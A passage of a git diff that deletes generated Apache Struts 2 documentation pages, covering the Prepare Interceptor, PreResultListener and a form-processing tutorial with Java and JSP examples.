-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27839279">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The example code for this tutorial, preparable_interface, is available at <a shape="rect" class="external-link" href="https://github.com/apache/struts-examples" rel="nofollow">https://github.com/apache/struts-examples</a>. [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">		
-   carModelsAvailable = carModelsService.getCarModels() ;
-		
-   setPersonBean( editService.getPerson() );
-
-</pre>
-</div></div><p>The above statements get the car model values used to populate the car model check boxes displayed in the form and also get the information about the Person object being edited.</p><p>When you run the example application, look in the log to see when the prepare method is called in relation to the input and execute methods. Running the example application and examining the log should help you understand the impact of implementing the Preparable Interface and the prepare met [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/prepare-interceptor.html b/content/docs/prepare-interceptor.html
deleted file mode 100644
index 61b7a43..0000000
--- a/content/docs/prepare-interceptor.html
+++ /dev/null
@@ -1,213 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Prepare Interceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="prepare-interceptor.html">Prepare Interceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Prepare Interceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14119">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14119">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14119">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14119">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14119">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14119">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<p>This interceptor calls <code>prepare()</code> on actions which implement
-Preparable. This interceptor is very useful for any situation where
-you need to ensure some logic runs before the actual execute method runs.</p>
-
-<p></p><p>
-A typical use of this is to run some logic to load an object from the
-database so that when parameters are set they can be set on this object. For
-example, suppose you have a User object with two properties: <i>id</i> and
-<i>name</i>. Provided that the params interceptor is called twice (once
-before and once after this interceptor), you can load the User object using
-the id property, and then when the second params interceptor is called the
-parameter <i>user.name</i> will be set, as desired, on the actual object
-loaded from the database. See the example for more info.
-</p>
-<p>
-<b>Note:</b> Since XWork 2.0.2, this interceptor extends MethodFilterInterceptor, therefore being
-able to deal with excludeMethods / includeMethods parameters. See [Workflow Interceptor]
-(class DefaultWorkflowInterceptor) for documentation and examples on how to use this feature.
-</p>
-
-<p></p><p>
-<b>Update</b>: Added logic to execute a prepare{MethodName} and conditionally
-the a general prepare() Method, depending on the 'alwaysInvokePrepare' parameter/property
-which is by default true. This allows us to run some logic based on the method
-name we specify in the com.opensymphony.xwork2.ActionProxy. For example, you can specify a
-prepareInput() method that will be run before the invocation of the input method.
-</p>
-
-
-<p><b>In PrepareInterceptor</b>
-</p><p>Applies only when action implements Preparable</p>
-<ol><li>if the action class have prepare{MethodName}(), it will be invoked</li><li>else if the action class have prepareDo(MethodName()}(), it will be invoked</li><li>no matter if 1] or 2] is performed, if alwaysinvokePrepare property of the interceptor is "true" (which is by default "true"), prepare() will be invoked.</li></ol>
-
-
-<h2 id="PrepareInterceptor-Parameters">Parameters</h2>
-
-
-<p></p><ul></ul><p></p><ul><li>alwaysInvokePrepare - Default to true. If true, prepare will always be invoked,
-otherwise it will not.</li></ul><p></p>
-
-
-<h2 id="PrepareInterceptor-ExtendingtheInterceptor">Extending the Interceptor</h2>
-
-
-<p>There are no known extension points to this interceptor.</p>
-
-
-<h2 id="PrepareInterceptor-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;!-- Calls the params interceptor twice, allowing you to
-      pre-load data for the second time parameters are set --&gt;
- &lt;action name=&quot;someAction&quot; class=&quot;com.examples.SomeAction&quot;&gt;
-     &lt;interceptor-ref name=&quot;params&quot;/&gt;
-     &lt;interceptor-ref name=&quot;prepare&quot;/&gt;
-     &lt;interceptor-ref name=&quot;basicStack&quot;/&gt;
-     &lt;result name=&quot;success&quot;&gt;good_result.ftl&lt;/result&gt;
- &lt;/action&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/preresultlistener.html b/content/docs/preresultlistener.html
deleted file mode 100644
index fa71b9b..0000000
--- a/content/docs/preresultlistener.html
+++ /dev/null
@@ -1,195 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>PreResultListener</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="preresultlistener.html">PreResultListener</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">PreResultListener</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27468">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27468">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27468">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27468">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27468">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27468">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>A PreResultListener can affect an action invocation between the interceptor/action phase and the result phase. Typical uses include switching to a different Result or somehow modifying the Result or Action objects before the Result executes. </p>
-
-<h2 id="PreResultListener-Examples">Examples</h2>
-
-<p>A PreResultListener can be added by an Action or an Interceptor.</p>
-
-<h3 id="PreResultListener-ByanAction">By an Action</h3>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-  public class MyAction extends ActionSupport {
-     ...
-     public String execute() throws Exception {
-         ActionInvocation invocation = ActionContext.getContext().getActionInvocation();
-         invocation.addPreResultListener(new PreResultListener() {
-              public void beforeResult(ActionInvocation invocation, 
-                                       String resultCode) {
-                  // perform operation necessary before Result execution
-              }
-         });
-     }
-     ...
-  }
-</pre>
-</div></div>
-
-<h3 id="PreResultListener-ByanInterceptor">By an Interceptor </h3>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-  public class MyInterceptor extends AbstractInterceptor {
-     ...
-      public String intercept(ActionInvocation invocation) throws Exception {
-         invocation.addPreResultListener(new PreResultListener() {
-              public void beforeResult(ActionInvocation invocation, 
-                                       String resultCode) {
-                  // perform operation necessary before Result execution
-              }
-         });
-      }
-     ...
-  }
-</pre>
-</div></div>
-
-<h2 id="PreResultListener-Next:">Next: <a shape="rect" href="localization.html">Localization</a></h2></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/processing-forms.data/registerjsp.png b/content/docs/processing-forms.data/registerjsp.png
deleted file mode 100644
index a561f6c..0000000
Binary files a/content/docs/processing-forms.data/registerjsp.png and /dev/null differ
diff --git a/content/docs/processing-forms.data/thanyoujsp.png b/content/docs/processing-forms.data/thanyoujsp.png
deleted file mode 100644
index 90ca8ac..0000000
Binary files a/content/docs/processing-forms.data/thanyoujsp.png and /dev/null differ
diff --git a/content/docs/processing-forms.html b/content/docs/processing-forms.html
deleted file mode 100644
index f84e97b..0000000
--- a/content/docs/processing-forms.html
+++ /dev/null
@@ -1,317 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Processing Forms</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="getting-started.html">Getting Started</a>&nbsp;&gt;&nbsp;<a href="how-to-create-a-struts-2-web-application.html">How To Create A Struts 2 Web Application</a>&nbsp;&gt;&nbsp;<a href="create-struts-2-web-application-with-artifacts-in-web-inf-lib-and-use-ant-to-build-the-application.html">Create Struts 2 Web Application With Artifacts In WEB-INF lib and Use Ant To Bui [...]
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Processing Forms</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14811889">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14811889">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14811889">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14811889">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14811889">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14811889">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>This tutorial assumes you've completed the <a shape="rect" class="createlink" href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&amp;title=Coding+Struts+2+Actons&amp;linkCreation=true&amp;fromPag [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">public class Person
-{
-    private String firstName;
-    private String lastName;
-    private String email;
-    private int age;
-
-    public String getFirstName()
-    {
-        return firstName;
-    }
-
-    public void setFirstName(String firstName)
-    {
-        this.firstName = firstName;
-    }
-
-    public String getLastName()
-    {
-        return lastName;
-    }
-
-    public void setLastName(String lastName)
-    {
-        this.lastName = lastName;
-    }
-
-    public String getEmail()
-    {
-        return email;
-    }
-
-    public void setEmail(String email)
-    {
-        this.email = email;
-    }
-
-    public int getAge()
-    {
-        return age;
-    }
-
-    public void setAge( int age)
-    {
-        this.age = age;
-    }
-
-
-    public String toString()
-    {
-        return "First Name: " + getFirstName() + " Last Name:  " + getLastName() + 
-        " Email:      " + getEmail() + " Age:      " + getAge() ;
-    }
-}
-</pre>
-</div></div><p>Note a few points about the above class. There is a public set/get method for each instance field. The age attribute is of type integer. We've defined a public toString method that returns a String representing the state of the object. Since we haven't specified a constructor, Java will provide a default constructor that will set all instance fields to their null values.</p><h3 id="ProcessingForms-FormStructure">Form Structure</h3><p>To collect the above information we'll  [...]
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;?xml version="1.0" encoding="ISO-8859-1" ?&gt;
-&lt;%@ taglib prefix="s" uri="/struts-tags" %&gt;
-&lt;%@ page language="java" contentType="text/html; charset=ISO-8859-1"
-    pageEncoding="ISO-8859-1"%&gt;
-&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
-&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;
-&lt;head&gt;
-&lt;meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" /&gt;
-&lt;title&gt;Register&lt;/title&gt;
-&lt;/head&gt;
-&lt;body&gt;
-&lt;h3&gt;Register for a prize by completing this form.&lt;/h3&gt;
-
-&lt;s:form action="register"&gt;
-
- 	  &lt;s:textfield name="personBean.firstName" label="First name" /&gt;
- 	  &lt;s:textfield  name="personBean.lastName" label="Last name" /&gt;
- 	  &lt;s:textfield name="personBean.email"  label ="Email"/&gt;  
- 	  &lt;s:textfield name="personBean.age"  label="Age"  /&gt;
- 	  
-   	  &lt;s:submit/&gt;
-   	  
-&lt;/s:form&gt;	
- 
-&lt;/body&gt;
-&lt;/html&gt;
-</pre>
-</div></div><p>Since we are using Struts 2 tags, at the top of the page we need the Struts tag library declaration.</p><p>The Struts 2 form will submit to an action named register. We'll need to define that action in our struts.xml file.</p><p>Note the four Struts 2 textfield tags. Each tag has a name value that includes an attribute of the Person class (e.g. firstName). The name attribute's value also has a reference to an object called personBean. This object is of type Person. When we [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">package org.apache.struts.register.action;
-
-import org.apache.struts.register.model.Person;
-
-import com.opensymphony.xwork2.ActionSupport;
-
-public class Register extends ActionSupport {
-	
-	private static final long serialVersionUID = 1L;
-	
-	private Person personBean;
-	
-
-	@Override
-	public String execute() throws Exception {
-		
-		//call Service class to store personBean's state in database
-		
-		return SUCCESS;
-		
-	}
-	
-	public Person getPersonBean() {
-		
-		return personBean;
-		
-	}
-	
-	public void setPersonBean(Person person) {
-		
-		personBean = person;
-		
-	}
-
-}
-</pre>
-</div></div><p>In the Register class note that we've declared an attribute named personBean of type Person and there is a public get and set method for this object.</p><p>The Register class also overrides the execute method. The execute method is the one we will specify in the struts.xml to be called in response to the register action. In this example, the execute method just returns the String constant SUCCESS (inherited from ActionSupport class). But in a real application, within the e [...]
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;?xml version="1.0" encoding="ISO-8859-1" ?&gt;
-&lt;%@ taglib prefix="s" uri="/struts-tags" %&gt;
-&lt;%@ page language="java" contentType="text/html; charset=ISO-8859-1"
-    pageEncoding="ISO-8859-1"%&gt;
-&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
-&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;
-&lt;head&gt;
-&lt;meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" /&gt;
-&lt;title&gt;Registration Successful&lt;/title&gt;
-&lt;/head&gt;
-&lt;body&gt;
-&lt;h3&gt;Thank you for registering for a prize.&lt;/h3&gt;
-
-&lt;p&gt;Your registration information: &lt;s:property value="personBean" /&gt; &lt;/p&gt;
-
-&lt;p&gt;&lt;a href="&lt;s:url action='index' /&gt;" &gt;Return to home page&lt;/a&gt;.&lt;/p&gt;
-
-&lt;/body&gt;
-&lt;/html&gt;
-
-
-</pre>
